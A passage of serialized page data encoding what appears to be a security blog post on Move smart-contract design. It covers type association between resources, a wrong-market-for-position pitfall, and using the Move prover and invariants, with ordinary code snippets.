public",{"type":19,"tag":168,"props":4527,"children":4528},{"style":212},[4529],{"type":24,"value":500},{"type":19,"tag":168,"props":4531,"children":4532},{"style":393},[4533],{"type":24,"value":4534},"friend",{"type":19,"tag":168,"props":4536,"children":4537},{"style":212},[4538],{"type":24,"value":481},{"type":19,"tag":168,"props":4540,"children":4541},{"style":393},[4542],{"type":24,"value":4543},"fun",{"type":19,"tag":168,"props":4545,"children":4546},{"style":393},[4547],{"type":24,"value":4548}," create",{"type":19,"tag":168,"props":4550,"children":4551},{"style":212},[4552],{"type":24,"value":3240},{"type":19,"tag":168,"props":4554,"children":4555},{"style":825},[4556],{"type":24,"value":4338},{"type":19,"tag":168,"props":4558,"children":4559},{"style":212},[4560],{"type":24,"value":4024},{"type":19,"tag":168,"props":4562,"children":4563},{"class":170,"line":198},[4564,4569,4573,4578,4583],{"type":19,"tag":168,"props":4565,"children":4566},{"style":393},[4567],{"type":24,"value":4568}," lp_store",{"type":19,"tag":168,"props":4570,"children":4571},{"style":399},[4572],{"type":24,"value":1922},{"type":19,"tag":168,"props":4574,"children":4575},{"style":399},[4576],{"type":24,"value":4577}," &",{"type":19,"tag":168,"props":4579,"children":4580},{"style":393},[4581],{"type":24,"value":4582},"signer",{"type":19,"tag":168,"props":4584,"children":4585},{"style":212},[4586],{"type":24,"value":915},{"type":19,"tag":168,"props":4588,"children":4589},{"class":170,"line":415},[4590],{"type":19,"tag":168,"props":4591,"children":4592},{"style":373},[4593],{"type":24,"value":4032},{"type":19,"tag":168,"props":4595,"children":4596},{"class":170,"line":450},[4597,4602,4606,4611],{"type":19,"tag":168,"props":4598,"children":4599},{"style":212},[4600],{"type":24,"value":4601}," ) ",{"type":19,"tag":168,"props":4603,"children":4604},{"style":393},[4605],{"type":24,"value":3779},{"type":19,"tag":168,"props":4607,"children":4608},{"style":825},[4609],{"type":24,"value":4610}," Reserves",{"type":19,"tag":168,"props":4612,"children":4613},{"style":212},[4614],{"type":24,"value":691},{"type":19,"tag":168,"props":4616,"children":4617},{"class":170,"line":560},[4618,4623,4627,4632,4637,4641,4646,4650,4655],{"type":19,"tag":168,"props":4619,"children":4620},{"style":212},[4621],{"type":24,"value":4622}," lp",{"type":19,"tag":168,"props":4624,"children":4625},{"style":399},[4626],{"type":24,"value":888},{"type":19,"tag":168,"props":4628,"children":4629},{"style":175},[4630],{"type":24,"value":4631},"assert_is_lp_store",{"type":19,"tag":168,"props":4633,"children":4634},{"style":212},[4635],{"type":24,"value":4636},"(signer",{"type":19,"tag":168,"props":4638,"children":4639},{"style":399},[4640],{"type":24,"value":888},{"type":19,"tag":168,"props":4642,"children":4643},{"style":175},[4644],{"type":24,"value":4645},"address_of",{"type":19,"tag":168,"props":4647,"children":4648},{"style":212},[4649],{"type":24,"value":500},{"type":19,"tag":168,"props":4651,"children":4652},{"style":393},[4653],{"type":24,"value":4654},"lp_store",{"type":19,"tag":168,"props":4656,"children":4657},{"style":212},[4658],{"type":24,"value":4659},"));\n",{"type":19,"tag":168,"props":4661,"children":4662},{"class":170,"line":666},[4663],{"type":19,"tag":168,"props":4664,"children":4665},{"emptyLinePlaceholder":14},[4666],{"type":24,"value":1093},{"type":19,"tag":168,"props":4668,"children":4669},{"class":170,"line":694},[4670],{"type":19,"tag":168,"props":4671,"children":4672},{"style":373},[4673],{"type":24,"value":4032},{"type":19,"tag":168,"props":4675,"children":4676},{"class":170,"line":707},[4677],{"type":19,"tag":168,"props":4678,"children":4679},{"emptyLinePlaceholder":14},[4680],{"type":24,"value":1093},{"type":19,"tag":168,"props":4682,"children":4683},{"class":170,"line":725},[4684,4689,4693,4697,4701,4705,4709,4713],{"type":19,"tag":168,"props":4685,"children":4686},{"style":175},[4687],{"type":24,"value":4688}," move_to",{"type":19,"tag":168,"props":4690,"children":4691},{"style":212},[4692],{"type":24,"value":500},{"type":19,"tag":168,"props":4694,"children":4695},{"style":393},[4696],{"type":24,"value":4654},{"type":19,"tag":168,"props":4698,"children":4699},{"style":212},[4700],{"type":24,"value":471},{"type":19,"tag":168,"props":4702,"children":4703},{"style":825},[4704],{"type":24,"value":4239},{"type":19,"tag":168,"props":4706,"children":4707},{"style":212},[4708],{"type":24,"value":3240},{"type":19,"tag":168,"props":4710,"children":4711},{"style":825},[4712],{"type":24,"value":4338},{"type":19,"tag":168,"props":4714,"children":4715},{"style":212},[4716],{"type":24,"value":4717},"> {\n",{"type":19,"tag":168,"props":4719,"children":4720},{"class":170,"line":746},[4721],{"type":19,"tag":168,"props":4722,"children":4723},{"style":373},[4724],{"type":24,"value":3610},{"type":19,"tag":168,"props":4726,"children":4727},{"class":170,"line":755},[4728],{"type":19,"tag":168,"props":4729,"children":4730},{"style":212},[4731],{"type":24,"value":4732}," });\n",{"type":19,"tag":20,"props":4734,"children":4735},{},[4736],{"type":24,"value":4737},"In both these instances, type association only works because we create exactly one instance per type.",{"type":19,"tag":20,"props":4739,"children":4740},{},[4741,4743,4749,4751,4757,4759,4764],{"type":24,"value":4742},"On the other hand, consider if you have a ",{"type":19,"tag":27,"props":4744,"children":4746},{"className":4745},[],[4747],{"type":24,"value":4748},"Position\u003CT>",{"type":24,"value":4750}," and a ",{"type":19,"tag":27,"props":4752,"children":4754},{"className":4753},[],[4755],{"type":24,"value":4756},"Market\u003CT>",{"type":24,"value":4758}," where ",{"type":19,"tag":27,"props":4760,"children":4762},{"className":4761},[],[4763],{"type":24,"value":3422},{"type":24,"value":4765}," is the coin type.",{"type":19,"tag":158,"props":4767,"children":4769},{"className":363,"code":4768,"language":362,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[4770],{"type":19,"tag":27,"props":4771,"children":4772},{"__ignoreMap":7},[4773,4801,4829,4836,4843,4850,4878,4898,4905],{"type":19,"tag":168,"props":4774,"children":4775},{"class":170,"line":171},[4776,4780,4785,4789,4793,4797],{"type":19,"tag":168,"props":4777,"children":4778},{"style":382},[4779],{"type":24,"value":3487},{"type":19,"tag":168,"props":4781,"children":4782},{"style":825},[4783],{"type":24,"value":4784}," Market",{"type":19,"tag":168,"props":4786,"children":4787},{"style":212},[4788],{"type":24,"value":3240},{"type":19,"tag":168,"props":4790,"children":4791},{"style":393},[4792],{"type":24,"value":3245},{"type":19,"tag":168,"props":4794,"children":4795},{"style":825},[4796],{"type":24,"value":3353},{"type":19,"tag":168,"props":4798,"children":4799},{"style":212},[4800],{"type":24,"value":4717},{"type":19,"tag":168,"props":4802,"children":4803},{"class":170,"line":198},[4804,4809,4813,4817,4821,4825],{"type":19,"tag":168,"props":4805,"children":4806},{"style":393},[4807],{"type":24,"value":4808}," reserves",{"type":19,"tag":168,"props":4810,"children":4811},{"style":399},[4812],{"type":24,"value":1922},{"type":19,"tag":168,"props":4814,"children":4815},{"style":825},[4816],{"type":24,"value":3235},{"type":19,"tag":168,"props":4818,"children":4819},{"style":212},[4820],{"type":24,"value":3240},{"type":19,"tag":168,"props":4822,"children":4823},{"style":825},[4824],{"type":24,"value":3422},{"type":19,"tag":168,"props":4826,"children":4827},{"style":212},[4828],{"type":24,"value":3573},{"type":19,"tag":168,"props":4830,"children":4831},{"class":170,"line":415},[4832],{"type":19,"tag":168,"props":4833,"children":4834},{"style":373},[4835],{"type":24,"value":3610},{"type":19,"tag":168,"props":4837,"children":4838},{"class":170,"line":450},[4839],{"type":19,"tag":168,"props":4840,"children":4841},{"style":212},[4842],{"type":24,"value":761},{"type":19,"tag":168,"props":4844,"children":4845},{"class":170,"line":560},[4846],{"type":19,"tag":168,"props":4847,"children":4848},{"emptyLinePlaceholder":14},[4849],{"type":24,"value":1093},{"type":19,"tag":168,"props":4851,"children":4852},{"class":170,"line":666},[4853,4857,4862,4866,4870,4874],{"type":19,"tag":168,"props":4854,"children":4855},{"style":382},[4856],{"type":24,"value":3487},{"type":19,"tag":168,"props":4858,"children":4859},{"style":825},[4860],{"type":24,"value":4861}," Position",{"type":19,"tag":168,"props":4863,"children":4864},{"style":212},[4865],{"type":24,"value":3240},{"type":19,"tag":168,"props":4867,"children":4868},{"style":393},[4869],{"type":24,"value":3245},{"type":19,"tag":168,"props":4871,"children":4872},{"style":825},[4873],{"type":24,"value":3353},{"type":19,"tag":168,"props":4875,"children":4876},{"style":212},[4877],{"type":24,"value":4717},{"type":19,"tag":168,"props":4879,"children":4880},{"class":170,"line":694},[4881,4886,4890,4894],{"type":19,"tag":168,"props":4882,"children":4883},{"style":393},[4884],{"type":24,"value":4885}," amount",{"type":19,"tag":168,"props":4887,"children":4888},{"style":399},[4889],{"type":24,"value":1922},{"type":19,"tag":168,"props":4891,"children":4892},{"style":825},[4893],{"type":24,"value":3294},{"type":19,"tag":168,"props":4895,"children":4896},{"style":212},[4897],{"type":24,"value":915},{"type":19,"tag":168,"props":4899,"children":4900},{"class":170,"line":707},[4901],{"type":19,"tag":168,"props":4902,"children":4903},{"style":373},[4904],{"type":24,"value":3610},{"type":19,"tag":168,"props":4906,"children":4907},{"class":170,"line":725},[4908],{"type":19,"tag":168,"props":4909,"children":4910},{"style":212},[4911],{"type":24,"value":761},{"type":19,"tag":20,"props":4913,"children":4914},{},[4915,4917,4922,4924,4929],{"type":24,"value":4916},"If ",{"type":19,"tag":27,"props":4918,"children":4920},{"className":4919},[],[4921],{"type":24,"value":4756},{"type":24,"value":4923}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":19,"tag":27,"props":4925,"children":4927},{"className":4926},[],[4928],{"type":24,"value":3422},{"type":24,"value":4930}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":19,"tag":20,"props":4932,"children":4933},{},[4934],{"type":24,"value":4935},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":19,"tag":158,"props":4937,"children":4939},{"className":363,"code":4938,"language":362,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[4940],{"type":19,"tag":27,"props":4941,"children":4942},{"__ignoreMap":7},[4943,4951,5013,5062,5114,5139,5151,5173,5181,5194],{"type":19,"tag":168,"props":4944,"children":4945},{"class":170,"line":171},[4946],{"type":19,"tag":168,"props":4947,"children":4948},{"style":373},[4949],{"type":24,"value":4950}," /// Get the price of the token per lamport.\n",{"type":19,"tag":168,"props":4952,"children":4953},{"class":170,"line":198},[4954,4959,4963,4968,4972,4977,4981,4986,4990,4994,4999,5004,5009],{"type":19,"tag":168,"props":4955,"children":4956},{"style":393},[4957],{"type":24,"value":4958}," public",{"type":19,"tag":168,"props":4960,"children":4961},{"style":393},[4962],{"type":24,"value":3642},{"type":19,"tag":168,"props":4964,"children":4965},{"style":175},[4966],{"type":24,"value":4967}," get_price",{"type":19,"tag":168,"props":4969,"children":4970},{"style":212},[4971],{"type":24,"value":500},{"type":19,"tag":168,"props":4973,"children":4974},{"style":393},[4975],{"type":24,"value":4976},"type_info",{"type":19,"tag":168,"props":4978,"children":4979},{"style":399},[4980],{"type":24,"value":1922},{"type":19,"tag":168,"props":4982,"children":4983},{"style":825},[4984],{"type":24,"value":4985}," TypeInfo",{"type":19,"tag":168,"props":4987,"children":4988},{"style":212},[4989],{"type":24,"value":524},{"type":19,"tag":168,"props":4991,"children":4992},{"style":399},[4993],{"type":24,"value":1922},{"type":19,"tag":168,"props":4995,"children":4996},{"style":825},[4997],{"type":24,"value":4998}," Decimal",{"type":19,"tag":168,"props":5000,"children":5001},{"style":393},[5002],{"type":24,"value":5003}," acquires",{"type":19,"tag":168,"props":5005,"children":5006},{"style":825},[5007],{"type":24,"value":5008}," Oracle",{"type":19,"tag":168,"props":5010,"children":5011},{"style":212},[5012],{"type":24,"value":691},{"type":19,"tag":168,"props":5014,"children":5015},{"class":170,"line":415},[5016,5020,5025,5029,5034,5038,5043,5048,5053,5058],{"type":19,"tag":168,"props":5017,"children":5018},{"style":382},[5019],{"type":24,"value":456},{"type":19,"tag":168,"props":5021,"children":5022},{"style":393},[5023],{"type":24,"value":5024}," oracle",{"type":19,"tag":168,"props":5026,"children":5027},{"style":399},[5028],{"type":24,"value":402},{"type":19,"tag":168,"props":5030,"children":5031},{"style":393},[5032],{"type":24,"value":5033}," borrow_global_mut",{"type":19,"tag":168,"props":5035,"children":5036},{"style":212},[5037],{"type":24,"value":3240},{"type":19,"tag":168,"props":5039,"children":5040},{"style":825},[5041],{"type":24,"value":5042},"Oracle",{"type":19,"tag":168,"props":5044,"children":5045},{"style":212},[5046],{"type":24,"value":5047},">(",{"type":19,"tag":168,"props":5049,"children":5050},{"style":399},[5051],{"type":24,"value":5052},"@",{"type":19,"tag":168,"props":5054,"children":5055},{"style":393},[5056],{"type":24,"value":5057},"oracle",{"type":19,"tag":168,"props":5059,"children":5060},{"style":212},[5061],{"type":24,"value":1249},{"type":19,"tag":168,"props":5063,"children":5064},{"class":170,"line":450},[5065,5069,5074,5078,5083,5087,5092,5096,5101,5105,5110],{"type":19,"tag":168,"props":5066,"children":5067},{"style":382},[5068],{"type":24,"value":456},{"type":19,"tag":168,"props":5070,"children":5071},{"style":393},[5072],{"type":24,"value":5073}," price",{"type":19,"tag":168,"props":5075,"children":5076},{"style":399},[5077],{"type":24,"value":402},{"type":19,"tag":168,"props":5079,"children":5080},{"style":212},[5081],{"type":24,"value":5082}," table",{"type":19,"tag":168,"props":5084,"children":5085},{"style":399},[5086],{"type":24,"value":888},{"type":19,"tag":168,"props":5088,"children":5089},{"style":393},[5090],{"type":24,"value":5091},"borrow_mut_with_default",{"type":19,"tag":168,"props":5093,"children":5094},{"style":212},[5095],{"type":24,"value":3240},{"type":19,"tag":168,"props":5097,"children":5098},{"style":825},[5099],{"type":24,"value":5100},"TypeInfo",{"type":19,"tag":168,"props":5102,"children":5103},{"style":212},[5104],{"type":24,"value":471},{"type":19,"tag":168,"props":5106,"children":5107},{"style":825},[5108],{"type":24,"value":5109},"Decimal",{"type":19,"tag":168,"props":5111,"children":5112},{"style":212},[5113],{"type":24,"value":4024},{"type":19,"tag":168,"props":5115,"children":5116},{"class":170,"line":560},[5117,5122,5126,5130,5134],{"type":19,"tag":168,"props":5118,"children":5119},{"style":399},[5120],{"type":24,"value":5121}," &",{"type":19,"tag":168,"props":5123,"children":5124},{"style":382},[5125],{"type":24,"value":1142},{"type":19,"tag":168,"props":5127,"children":5128},{"style":393},[5129],{"type":24,"value":5024},{"type":19,"tag":168,"props":5131,"children":5132},{"style":399},[5133],{"type":24,"value":948},{"type":19,"tag":168,"props":5135,"children":5136},{"style":212},[5137],{"type":24,"value":5138},"prices,\n",{"type":19,"tag":168,"props":5140,"children":5141},{"class":170,"line":666},[5142,5147],{"type":19,"tag":168,"props":5143,"children":5144},{"style":393},[5145],{"type":24,"value":5146}," type_info",{"type":19,"tag":168,"props":5148,"children":5149},{"style":212},[5150],{"type":24,"value":915},{"type":19,"tag":168,"props":5152,"children":5153},{"class":170,"line":694},[5154,5159,5163,5168],{"type":19,"tag":168,"props":5155,"children":5156},{"style":212},[5157],{"type":24,"value":5158}," decimal",{"type":19,"tag":168,"props":5160,"children":5161},{"style":399},[5162],{"type":24,"value":888},{"type":19,"tag":168,"props":5164,"children":5165},{"style":175},[5166],{"type":24,"value":5167},"one",{"type":19,"tag":168,"props":5169,"children":5170},{"style":212},[5171],{"type":24,"value":5172},"()\n",{"type":19,"tag":168,"props":5174,"children":5175},{"class":170,"line":707},[5176],{"type":19,"tag":168,"props":5177,"children":5178},{"style":212},[5179],{"type":24,"value":5180}," );\n",{"type":19,"tag":168,"props":5182,"children":5183},{"class":170,"line":725},[5184,5189],{"type":19,"tag":168,"props":5185,"children":5186},{"style":399},[5187],{"type":24,"value":5188}," *",{"type":19,"tag":168,"props":5190,"children":5191},{"style":393},[5192],{"type":24,"value":5193},"price\n",{"type":19,"tag":168,"props":5195,"children":5196},{"class":170,"line":746},[5197],{"type":19,"tag":168,"props":5198,"children":5199},{"style":212},[5200],{"type":24,"value":761},{"type":19,"tag":20,"props":5202,"children":5203},{},[5204,5206,5211],{"type":24,"value":5205},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":19,"tag":293,"props":5207,"children":5208},{},[5209],{"type":24,"value":5210},"instance",{"type":24,"value":5212}," of another resource (which is possible in Diem style move).",{"type":19,"tag":20,"props":5214,"children":5215},{},[5216],{"type":24,"value":5217},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":19,"tag":2869,"props":5219,"children":5220},{},[5221,5226],{"type":19,"tag":47,"props":5222,"children":5223},{},[5224],{"type":24,"value":5225},"Have unique initializers for your resources",{"type":19,"tag":47,"props":5227,"children":5228},{},[5229],{"type":24,"value":5230},"Associate resources with instances directly",{"type":19,"tag":36,"props":5232,"children":5234},{"id":5233},"formal-verification",[5235],{"type":24,"value":5236},"Formal Verification",{"type":19,"tag":20,"props":5238,"children":5239},{},[5240],{"type":24,"value":5241},"Formal verification is another exciting feature.",{"type":19,"tag":20,"props":5243,"children":5244},{},[5245],{"type":24,"value":5246},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":19,"tag":20,"props":5248,"children":5249},{},[5250,5252,5257],{"type":24,"value":5251},"However, this isn't a silver bullet. The key is figuring out ",{"type":19,"tag":293,"props":5253,"children":5254},{},[5255],{"type":24,"value":5256},"what",{"type":24,"value":5258}," to prove.",{"type":19,"tag":20,"props":5260,"children":5261},{},[5262,5264,5271],{"type":24,"value":5263},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":19,"tag":269,"props":5265,"children":5268},{"href":5266,"rel":5267},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[273],[5269],{"type":24,"value":5270},"Solana AMM rounding issue",{"type":24,"value":5272}," we reported.",{"type":19,"tag":20,"props":5274,"children":5275},{},[5276],{"type":24,"value":5277},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":19,"tag":158,"props":5279,"children":5281},{"className":363,"code":5280,"language":362,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[5282],{"type":19,"tag":27,"props":5283,"children":5284},{"__ignoreMap":7},[5285,5346],{"type":19,"tag":168,"props":5286,"children":5287},{"class":170,"line":171},[5288,5293,5298,5302,5307,5311,5316,5320,5324,5329,5333,5337,5342],{"type":19,"tag":168,"props":5289,"children":5290},{"style":382},[5291],{"type":24,"value":5292}," let",{"type":19,"tag":168,"props":5294,"children":5295},{"style":393},[5296],{"type":24,"value":5297}," cmp",{"type":19,"tag":168,"props":5299,"children":5300},{"style":399},[5301],{"type":24,"value":402},{"type":19,"tag":168,"props":5303,"children":5304},{"style":212},[5305],{"type":24,"value":5306}," u256",{"type":19,"tag":168,"props":5308,"children":5309},{"style":399},[5310],{"type":24,"value":888},{"type":19,"tag":168,"props":5312,"children":5313},{"style":175},[5314],{"type":24,"value":5315},"compare",{"type":19,"tag":168,"props":5317,"children":5318},{"style":212},[5319],{"type":24,"value":500},{"type":19,"tag":168,"props":5321,"children":5322},{"style":399},[5323],{"type":24,"value":505},{"type":19,"tag":168,"props":5325,"children":5326},{"style":393},[5327],{"type":24,"value":5328},"lp_value_after_swap_and_fee",{"type":19,"tag":168,"props":5330,"children":5331},{"style":212},[5332],{"type":24,"value":471},{"type":19,"tag":168,"props":5334,"children":5335},{"style":399},[5336],{"type":24,"value":505},{"type":19,"tag":168,"props":5338,"children":5339},{"style":393},[5340],{"type":24,"value":5341},"lp_value_before_swap_u256",{"type":19,"tag":168,"props":5343,"children":5344},{"style":212},[5345],{"type":24,"value":1249},{"type":19,"tag":168,"props":5347,"children":5348},{"class":170,"line":198},[5349,5354,5358,5363,5367,5372],{"type":19,"tag":168,"props":5350,"children":5351},{"style":175},[5352],{"type":24,"value":5353}," assert!",{"type":19,"tag":168,"props":5355,"children":5356},{"style":212},[5357],{"type":24,"value":500},{"type":19,"tag":168,"props":5359,"children":5360},{"style":393},[5361],{"type":24,"value":5362},"cmp",{"type":19,"tag":168,"props":5364,"children":5365},{"style":399},[5366],{"type":24,"value":682},{"type":19,"tag":168,"props":5368,"children":5369},{"style":192},[5370],{"type":24,"value":5371}," 2",{"type":19,"tag":168,"props":5373,"children":5374},{"style":212},[5375],{"type":24,"value":5376},", ERR_INCORRECT_SWAP);\n",{"type":19,"tag":20,"props":5378,"children":5379},{},[5380,5382,5387],{"type":24,"value":5381},"The move prover really shines when we're proving relationships ",{"type":19,"tag":293,"props":5383,"children":5384},{},[5385],{"type":24,"value":5386},"between",{"type":24,"value":5388}," functions.",{"type":19,"tag":20,"props":5390,"children":5391},{},[5392,5394,5400],{"type":24,"value":5393},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":19,"tag":27,"props":5395,"children":5397},{"className":5396},[],[5398],{"type":24,"value":5399},"no_free_money_theorem",{"type":24,"value":5401}," in the move repository.",{"type":19,"tag":158,"props":5403,"children":5405},{"className":363,"code":5404,"language":362,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[5406],{"type":19,"tag":27,"props":5407,"children":5408},{"__ignoreMap":7},[5409,5417,5505,5547,5568,5575,5591,5617,5644,5669],{"type":19,"tag":168,"props":5410,"children":5411},{"class":170,"line":171},[5412],{"type":19,"tag":168,"props":5413,"children":5414},{"style":373},[5415],{"type":24,"value":5416}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":19,"tag":168,"props":5418,"children":5419},{"class":170,"line":198},[5420,5424,5429,5433,5438,5442,5446,5450,5455,5459,5463,5467,5471,5475,5480,5484,5488,5492,5496,5501],{"type":19,"tag":168,"props":5421,"children":5422},{"style":393},[5423],{"type":24,"value":4005},{"type":19,"tag":168,"props":5425,"children":5426},{"style":175},[5427],{"type":24,"value":5428}," no_free_money_theorem",{"type":19,"tag":168,"props":5430,"children":5431},{"style":212},[5432],{"type":24,"value":500},{"type":19,"tag":168,"props":5434,"children":5435},{"style":393},[5436],{"type":24,"value":5437},"coin1_in",{"type":19,"tag":168,"props":5439,"children":5440},{"style":399},[5441],{"type":24,"value":1922},{"type":19,"tag":168,"props":5443,"children":5444},{"style":825},[5445],{"type":24,"value":3294},{"type":19,"tag":168,"props":5447,"children":5448},{"style":212},[5449],{"type":24,"value":471},{"type":19,"tag":168,"props":5451,"children":5452},{"style":393},[5453],{"type":24,"value":5454},"coin2_in",{"type":19,"tag":168,"props":5456,"children":5457},{"style":399},[5458],{"type":24,"value":1922},{"type":19,"tag":168,"props":5460,"children":5461},{"style":825},[5462],{"type":24,"value":3294},{"type":19,"tag":168,"props":5464,"children":5465},{"style":212},[5466],{"type":24,"value":524},{"type":19,"tag":168,"props":5468,"children":5469},{"style":399},[5470],{"type":24,"value":1922},{"type":19,"tag":168,"props":5472,"children":5473},{"style":212},[5474],{"type":24,"value":461},{"type":19,"tag":168,"props":5476,"children":5477},{"style":825},[5478],{"type":24,"value":5479},"u64",{"type":19,"tag":168,"props":5481,"children":5482},{"style":212},[5483],{"type":24,"value":471},{"type":19,"tag":168,"props":5485,"children":5486},{"style":825},[5487],{"type":24,"value":5479},{"type":19,"tag":168,"props":5489,"children":5490},{"style":212},[5491],{"type":24,"value":481},{"type":19,"tag":168,"props":5493,"children":5494},{"style":393},[5495],{"type":24,"value":3779},{"type":19,"tag":168,"props":5497,"children":5498},{"style":825},[5499],{"type":24,"value":5500}," Pool",{"type":19,"tag":168,"props":5502,"children":5503},{"style":212},[5504],{"type":24,"value":691},{"type":19,"tag":168,"props":5506,"children":5507},{"class":170,"line":415},[5508,5513,5518,5522,5527,5531,5535,5539,5543],{"type":19,"tag":168,"props":5509,"children":5510},{"style":382},[5511],{"type":24,"value":5512}," let",{"type":19,"tag":168,"props":5514,"children":5515},{"style":393},[5516],{"type":24,"value":5517}," share",{"type":19,"tag":168,"props":5519,"children":5520},{"style":399},[5521],{"type":24,"value":402},{"type":19,"tag":168,"props":5523,"children":5524},{"style":175},[5525],{"type":24,"value":5526}," add_liquidity",{"type":19,"tag":168,"props":5528,"children":5529},{"style":212},[5530],{"type":24,"value":500},{"type":19,"tag":168,"props":5532,"children":5533},{"style":393},[5534],{"type":24,"value":5437},{"type":19,"tag":168,"props":5536,"children":5537},{"style":212},[5538],{"type":24,"value":471},{"type":19,"tag":168,"props":5540,"children":5541},{"style":393},[5542],{"type":24,"value":5454},{"type":19,"tag":168,"props":5544,"children":5545},{"style":212},[5546],{"type":24,"value":1249},{"type":19,"tag":168,"props":5548,"children":5549},{"class":170,"line":450},[5550,5555,5559,5564],{"type":19,"tag":168,"props":5551,"children":5552},{"style":175},[5553],{"type":24,"value":5554}," remove_liquidity",{"type":19,"tag":168,"props":5556,"children":5557},{"style":212},[5558],{"type":24,"value":500},{"type":19,"tag":168,"props":5560,"children":5561},{"style":393},[5562],{"type":24,"value":5563},"share",{"type":19,"tag":168,"props":5565,"children":5566},{"style":212},[5567],{"type":24,"value":557},{"type":19,"tag":168,"props":5569,"children":5570},{"class":170,"line":560},[5571],{"type":19,"tag":168,"props":5572,"children":5573},{"style":212},[5574],{"type":24,"value":3306},{"type":19,"tag":168,"props":5576,"children":5577},{"class":170,"line":666},[5578,5583,5587],{"type":19,"tag":168,"props":5579,"children":5580},{"style":393},[5581],{"type":24,"value":5582}," spec",{"type":19,"tag":168,"props":5584,"children":5585},{"style":393},[5586],{"type":24,"value":5428},{"type":19,"tag":168,"props":5588,"children":5589},{"style":212},[5590],{"type":24,"value":691},{"type":19,"tag":168,"props":5592,"children":5593},{"class":170,"line":694},[5594,5599,5604,5608,5613],{"type":19,"tag":168,"props":5595,"children":5596},{"style":393},[5597],{"type":24,"value":5598}," pragma",{"type":19,"tag":168,"props":5600,"children":5601},{"style":393},[5602],{"type":24,"value":5603}," verify",{"type":19,"tag":168,"props":5605,"children":5606},{"style":399},[5607],{"type":24,"value":486},{"type":19,"tag":168,"props":5609,"children":5610},{"style":382},[5611],{"type":24,"value":5612},"false",{"type":19,"tag":168,"props":5614,"children":5615},{"style":212},[5616],{"type":24,"value":412},{"type":19,"tag":168,"props":5618,"children":5619},{"class":170,"line":707},[5620,5625,5630,5635,5640],{"type":19,"tag":168,"props":5621,"children":5622},{"style":393},[5623],{"type":24,"value":5624}," ensures",{"type":19,"tag":168,"props":5626,"children":5627},{"style":393},[5628],{"type":24,"value":5629}," result_1",{"type":19,"tag":168,"props":5631,"children":5632},{"style":399},[5633],{"type":24,"value":5634}," \u003C=",{"type":19,"tag":168,"props":5636,"children":5637},{"style":393},[5638],{"type":24,"value":5639}," coin1_in",{"type":19,"tag":168,"props":5641,"children":5642},{"style":212},[5643],{"type":24,"value":412},{"type":19,"tag":168,"props":5645,"children":5646},{"class":170,"line":725},[5647,5651,5656,5660,5665],{"type":19,"tag":168,"props":5648,"children":5649},{"style":393},[5650],{"type":24,"value":5624},{"type":19,"tag":168,"props":5652,"children":5653},{"style":393},[5654],{"type":24,"value":5655}," result_2",{"type":19,"tag":168,"props":5657,"children":5658},{"style":399},[5659],{"type":24,"value":5634},{"type":19,"tag":168,"props":5661,"children":5662},{"style":393},[5663],{"type":24,"value":5664}," coin2_in",{"type":19,"tag":168,"props":5666,"children":5667},{"style":212},[5668],{"type":24,"value":412},{"type":19,"tag":168,"props":5670,"children":5671},{"class":170,"line":746},[5672],{"type":19,"tag":168,"props":5673,"children":5674},{"style":212},[5675],{"type":24,"value":3306},{"type":19,"tag":20,"props":5677,"children":5678},{},[5679],{"type":24,"value":5680},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":19,"tag":20,"props":5682,"children":5683},{},[5684,5686,5691],{"type":24,"value":5685},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":19,"tag":293,"props":5687,"children":5688},{},[5689],{"type":24,"value":5690},"lot",{"type":24,"value":5692}," easier to reason about the protocol.",{"type":19,"tag":20,"props":5694,"children":5695},{},[5696],{"type":24,"value":5697},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":19,"tag":158,"props":5699,"children":5701},{"className":363,"code":5700,"language":362,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[5702],{"type":19,"tag":27,"props":5703,"children":5704},{"__ignoreMap":7},[5705,5722,5745],{"type":19,"tag":168,"props":5706,"children":5707},{"class":170,"line":171},[5708,5713,5718],{"type":19,"tag":168,"props":5709,"children":5710},{"style":393},[5711],{"type":24,"value":5712},"spec",{"type":19,"tag":168,"props":5714,"children":5715},{"style":825},[5716],{"type":24,"value":5717}," PoolState",{"type":19,"tag":168,"props":5719,"children":5720},{"style":212},[5721],{"type":24,"value":691},{"type":19,"tag":168,"props":5723,"children":5724},{"class":170,"line":198},[5725,5730,5735,5740],{"type":19,"tag":168,"props":5726,"children":5727},{"style":393},[5728],{"type":24,"value":5729}," 